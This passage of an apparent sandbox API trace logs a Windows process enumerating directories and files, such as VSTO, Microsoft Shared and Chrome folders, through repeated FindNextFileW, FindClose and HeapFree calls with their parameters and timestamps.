nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Triedit", cAlternateFileName="")) returned 1 [0191.940] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0191.940] FindNextFileW (in: hFindFile=0x4532340, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbb7f1d88, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0191.941] FindClose (in: hFindFile=0x4532340 | out: hFindFile=0x4532340) returned 1 [0191.941] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0191.941] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x2eaf584 | out: lpFindFileData=0x2eaf584*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xa0004713, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xbb85e523, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2b77ba12, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VC", cAlternateFileName="")) returned 1 [0191.942] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0191.942] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6affe800, ftCreationTime.dwHighDateTime=0x1cbd078, ftLastAccessTime.dwLowDateTime=0xc8458b03, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x6affe800, ftLastWriteTime.dwHighDateTime=0x1cbd078, nFileSizeHigh=0x0, nFileSizeLow=0xc3350, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdia100.dll", cAlternateFileName="")) returned 1 [0191.942] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0191.942] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x2eaf584 | out: lpFindFileData=0x2eaf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbb8602cf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7124ead2, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VGX", cAlternateFileName="")) returned 1 [0191.944] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0191.944] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x2eaf584 | out: lpFindFileData=0x2eaf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3e4284c2, ftCreationTime.dwHighDateTime=0x1d32747, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VSTA", cAlternateFileName="")) returned 1 [0191.954] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0191.954] FindNextFileW (in: hFindFile=0x4532340, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4ab761b2, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ab761b2, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ab761b2, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.VisualStudio.Tools.Office.AppInfoDocument", cAlternateFileName="MICROS~1.APP")) returned 0 [0191.955] FindClose (in: hFindFile=0x4532340 | out: hFindFile=0x4532340) returned 1 [0191.955] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0191.955] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3e47494b, ftCreationTime.dwHighDateTime=0x1d32747, ftLastAccessTime.dwLowDateTime=0x4a7e2a6f, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4a7e2a6f, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pipeline.v10.0", cAlternateFileName="PIPELI~1.0")) returned 1 [0191.962] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0191.962] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a7e2a6f, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4abc2635, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4abc2635, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AddInViews", cAlternateFileName="ADDINV~1")) returned 1 [0191.967] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0191.967] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a107d7a, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4a1c6876, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4a1c6876, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Contracts", cAlternateFileName="CONTRA~1")) returned 1 [0191.971] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0191.972] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a74a126, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4a8ed9d5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4a8ed9d5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HostSideAdapters", cAlternateFileName="HOSTSI~1")) returned 1 [0191.984] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0191.984] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87198d61, ftCreationTime.dwHighDateTime=0x1d47c35, ftLastAccessTime.dwLowDateTime=0xe276ff4f, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x87362941, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x1fdc1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PipelineSegments.store", cAlternateFileName="PIPELI~1.STO")) returned 1 [0191.984] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0191.985] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x163c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOFiles.cat", cAlternateFileName="VSTOFI~1.CAT")) returned 1 [0191.985] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0192.104] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x2eaf584 | out: lpFindFileData=0x2eaf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a022e6b, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VSTO", cAlternateFileName="")) returned 1 [0192.105] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0192.105] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4aebd53e, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x142e8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VSTOInstaller.exe", cAlternateFileName="VSTOIN~1.EXE")) returned 1 [0192.105] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0192.105] FindNextFileW (in: hFindFile=0x4532340, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6340300, ftCreationTime.dwHighDateTime=0x1d0d6b2, ftLastAccessTime.dwLowDateTime=0x4a022e6b, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0xd6340300, ftLastWriteTime.dwHighDateTime=0x1d0d6b2, nFileSizeHigh=0x0, nFileSizeLow=0x87, dwReserved0=0x0, dwReserved1=0x0, cFileName="ActionsPane3.xsd", cAlternateFileName="ACTION~1.XSD")) returned 1 [0192.106] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0192.107] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x2eaf584 | out: lpFindFileData=0x2eaf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a022e6b, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VSTO", cAlternateFileName="")) returned 0 [0192.107] FindClose (in: hFindFile=0x4532080 | out: hFindFile=0x4532080) returned 1 [0192.108] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0192.108] FindNextFileW (in: hFindFile=0x4532440, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbb9ebb45, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a6c1993, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0192.108] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0192.108] FindNextFileW (in: hFindFile=0x4532440, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbb9ecb1f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 1 [0192.109] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0192.109] FindNextFileW (in: hFindFile=0x4532340, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6df6f405, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6df6f405, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6df6f405, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll", cAlternateFileName="")) returned 1 [0192.110] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0192.110] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x2eaf584 | out: lpFindFileData=0x2eaf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97d98b2b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97d98b2b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97d98b2b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x6c00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DirectDB.dll", cAlternateFileName="")) returned 1 [0192.110] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0192.110] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x2eaf584 | out: lpFindFileData=0x2eaf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbbb051de, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msadc", cAlternateFileName="")) returned 1 [0192.347] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0192.347] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d2eaa26, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6d2eaa26, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6d2eaa26, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x93600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadce.dll", cAlternateFileName="")) returned 1 [0192.348] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0192.348] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x2eaf584 | out: lpFindFileData=0x2eaf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbbb59ef4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Ole DB", cAlternateFileName="OLEDB~1")) returned 1 [0192.348] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0192.348] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6df6f405, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6df6f405, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6df6f405, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdadc.dll", cAlternateFileName="")) returned 1 [0192.349] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0192.349] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x2eaf584 | out: lpFindFileData=0x2eaf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6dfbb8d0, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6dfbb8d0, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6dfbb8d0, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb5200, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wab32.dll", cAlternateFileName="")) returned 1 [0192.350] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0192.352] FindNextFileW (in: hFindFile=0x4532440, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbb9ecb1f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 0 [0192.352] FindClose (in: hFindFile=0x4532440 | out: hFindFile=0x4532440) returned 1 [0192.352] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0192.352] FindNextFileW (in: hFindFile=0x4532380, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1a64f261, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5dec600, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5dec600, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x240000, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0192.356] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0192.356] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b31dc6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b31dc6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x8de9172c, ftLastWriteTime.dwHighDateTime=0x1d32555, nFileSizeHigh=0x0, nFileSizeLow=0x3558, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eventlog_provider.dll", cAlternateFileName="EVENTL~1.DLL")) returned 1 [0192.357] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0192.357] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe29aac04, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe29aac04, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x5158e3b4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x9b9830, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="icudtl.dat", cAlternateFileName="")) returned 1 [0192.357] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0192.357] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b31dc6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b31dc6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x8e1fed42, ftLastWriteTime.dwHighDateTime=0x1d32555, nFileSizeHigh=0x0, nFileSizeLow=0x18758, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="libegl.dll", cAlternateFileName="")) returned 1 [0192.365] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0192.365] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4647067, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4647067, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51640744, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x380630, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nacl_irt_x86_64.nexe", cAlternateFileName="NACL_I~1.NEX")) returned 1 [0192.365] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0192.365] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe46df998, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe46df998, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VisualElements", cAlternateFileName="VISUAL~1")) returned 1 [0192.370] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0192.370] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe46df998, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe46df998, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WidevineCdm", cAlternateFileName="WIDEVI~1")) returned 1 [0192.379] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46c4f78 | out: hHeap=0x710000) returned 1 [0192.379] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b5803b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4b5803b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="win_x64", cAlternateFileName="")) returned 0 [0192.379] FindClose (in: hFindFile=0x4531bc0 | out: hFindFile=0x4531bc0) returned 1 [0192.379] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0192.379] FindNextFileW (in: hFindFile=0x4531cc0, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe295e71b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe295e71b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_platform_specific", cAlternateFileName="_PLATF~1")) returned 0 [0192.379] FindClose (in: hFindFile=0x4531cc0 | out: hFindFile=0x4531cc0) returned 1 [0192.379] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0192.379] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe46df998, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe46df998, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WidevineCdm", cAlternateFileName="WIDEVI~1")) returned 0 [0192.379] FindClose (in: hFindFile=0x4531dc0 | out: hFindFile=0x4531dc0) returned 1 [0192.380] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0192.380] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b5803b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b5803b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x8a617bee, ftLastWriteTime.dwHighDateTime=0x1d32555, nFileSizeHigh=0x0, nFileSizeLow=0x162558, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome.exe", cAlternateFileName="")) returned 1 [0192.381] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0192.381] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe4b5803b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe571db72, ftLastAccessTime.dwHighDateTime=0x1d327cb, 